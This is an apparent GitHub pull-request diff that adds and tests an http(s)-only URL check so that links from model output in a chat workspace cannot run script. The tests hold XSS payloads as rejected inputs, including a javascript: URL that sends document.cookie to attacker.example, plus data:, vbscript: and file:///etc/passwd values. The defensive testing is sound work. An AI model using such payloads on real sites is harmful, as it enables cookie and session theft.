Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view

This file was deleted.

Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ import { createLogger } from '@sim/logger'
import { sleep } from '@sim/utils/helpers'
import { Music } from 'lucide-react'
import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons'
import { getBrowserOrigin } from '@/lib/core/utils/urls'
import { isSafeHttpUrl } from '@/lib/core/utils/urls'
import type { ChatFile } from '@/app/(interfaces)/chat/components/message/message'

const logger = createLogger('ChatFileDownload')
Expand Down Expand Up @@ -54,21 +54,6 @@ function getFileUrl(file: ChatFile): string {
return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}`
}

/**
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
* execute script in the chat origin, since `file.url` originates from untrusted
* workflow/agent output.
*/
export function isSafeHttpUrl(url: string): boolean {
try {
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
} catch {
return false
}
}

async function triggerDownload(url: string, filename: string): Promise<void> {
const response = await fetch(url)
if (!response.ok) {
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
/**
* @vitest-environment jsdom
*/
import { act } from 'react'
import { createRoot, type Root } from 'react-dom/client'
import { beforeEach, describe, expect, it, vi } from 'vitest'

const { mockUseUserPermissionsContext } = vi.hoisted(() => ({
mockUseUserPermissionsContext: vi.fn(),
}))

vi.mock('@/app/workspace/[workspaceId]/providers/workspace-permissions-provider', () => ({
useUserPermissionsContext: mockUseUserPermissionsContext,
}))

vi.mock('next/navigation', () => ({
useParams: () => ({ workspaceId: 'workspace-1' }),
}))

import type { CredentialTagData } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags'
import { SpecialTags } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags'

/**
* Minimal dependency-free render harness (the repo has no `@testing-library/react`). Mounts the
* component in a real React 19 root under jsdom, matching the pattern in `use-autosave.test.tsx`.
*/
function renderCredentialLink(data: CredentialTagData): { container: HTMLDivElement; root: Root } {
;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
const container = document.createElement('div')
const root: Root = createRoot(container)
act(() => {
root.render(<SpecialTags segment={{ type: 'credential', data }} />)
})
return { container, root }
}

describe('CredentialDisplay link tag', () => {
beforeEach(() => {
vi.clearAllMocks()
mockUseUserPermissionsContext.mockReturnValue({ canEdit: true })
})

it('does not render an anchor for a javascript: scheme value', () => {
const { container, root } = renderCredentialLink({
type: 'link',
provider: 'github',
value: 'javascript:alert(1)',
})

expect(container.querySelector('a')).toBeNull()
act(() => root.unmount())
})

it('does not render an anchor for a data: scheme value', () => {
const { container, root } = renderCredentialLink({
type: 'link',
provider: 'github',
value: 'data:text/html,<script>alert(1)</script>',
})

expect(container.querySelector('a')).toBeNull()
act(() => root.unmount())
})

it('renders a working link for a real http(s) connect URL', () => {
const url = 'https://github.com/login/oauth/authorize?client_id=abc&scope=repo'
const { container, root } = renderCredentialLink({
type: 'link',
provider: 'github',
value: url,
})

const link = container.querySelector('a')
expect(link).not.toBeNull()
expect(link?.getAttribute('href')).toBe(url)
expect(container.textContent).toContain('Connect github')
act(() => root.unmount())
})

it('renders nothing when the user cannot edit, regardless of URL safety', () => {
mockUseUserPermissionsContext.mockReturnValue({ canEdit: false })
const { container, root } = renderCredentialLink({
type: 'link',
provider: 'github',
value: 'https://github.com/login/oauth/authorize',
})

expect(container.querySelector('a')).toBeNull()
act(() => root.unmount())
})
})
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ import {
} from '@sim/emcn'
import { useParams } from 'next/navigation'
import { canonicalWorkspaceFilePath } from '@/lib/copilot/vfs/path-utils'
import { isSafeHttpUrl } from '@/lib/core/utils/urls'
import { OAUTH_PROVIDERS } from '@/lib/oauth/oauth'
Comment thread
waleedlatif1 marked this conversation as resolved.
import { ContextMentionIcon } from '@/app/workspace/[workspaceId]/home/components/context-mention-icon'
import type {
Expand Down Expand Up @@ -754,6 +755,9 @@ function CredentialDisplay({ data }: { data: CredentialTagData }) {
if (data.type === 'link') {
// Connecting a credential mutates the workspace — hide it from read-only members.
if (!data.provider || !canEdit) return null
// The connect link value comes from the streamed model output, so only
// render it as a clickable link when it resolves to a real http(s) URL.
if (!data.value || !isSafeHttpUrl(data.value)) return null
const Icon = getCredentialIcon(data.provider) ?? LockIcon
return (
<a
Expand Down
33 changes: 33 additions & 0 deletions apps/sim/lib/core/utils/urls.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ import {
getBrowserOrigin,
getSocketUrl,
isLocalhostUrl,
isSafeHttpUrl,
parseOriginList,
} from '@/lib/core/utils/urls'

Expand Down Expand Up @@ -133,3 +134,35 @@ describe('isLocalhostUrl', () => {
expect(isLocalhostUrl('')).toBe(false)
})
})

describe('isSafeHttpUrl', () => {
it('allows absolute http(s) URLs', () => {
expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
})

it('allows same-origin relative URLs (resolved against the browser origin)', () => {
expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
})

it('rejects javascript: URLs', () => {
expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
})

it('rejects other script-capable or non-navigable schemes', () => {
expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
})

it('treats relative junk as same-origin http (safe) rather than throwing', () => {
expect(isSafeHttpUrl('')).toBe(true)
expect(isSafeHttpUrl('not a url')).toBe(true)
})

it('rejects unparseable absolute input without throwing', () => {
expect(isSafeHttpUrl('http://')).toBe(false)
})
})
15 changes: 15 additions & 0 deletions apps/sim/lib/core/utils/urls.ts
Original file line number Diff line number Diff line change
Expand Up @@ -169,6 +169,21 @@ export function getBrowserOrigin(): string | null {
return typeof window !== 'undefined' ? window.location.origin : null
}

/**
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
* execute script in the chat origin, since `file.url` originates from untrusted
* workflow/agent output.
*/
export function isSafeHttpUrl(url: string): boolean {
try {
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
} catch {
return false
}
}

/**
* Returns the socket server URL for server-side internal API calls.
* Reads from SOCKET_SERVER_URL with a localhost fallback for development.
Expand Down
Loading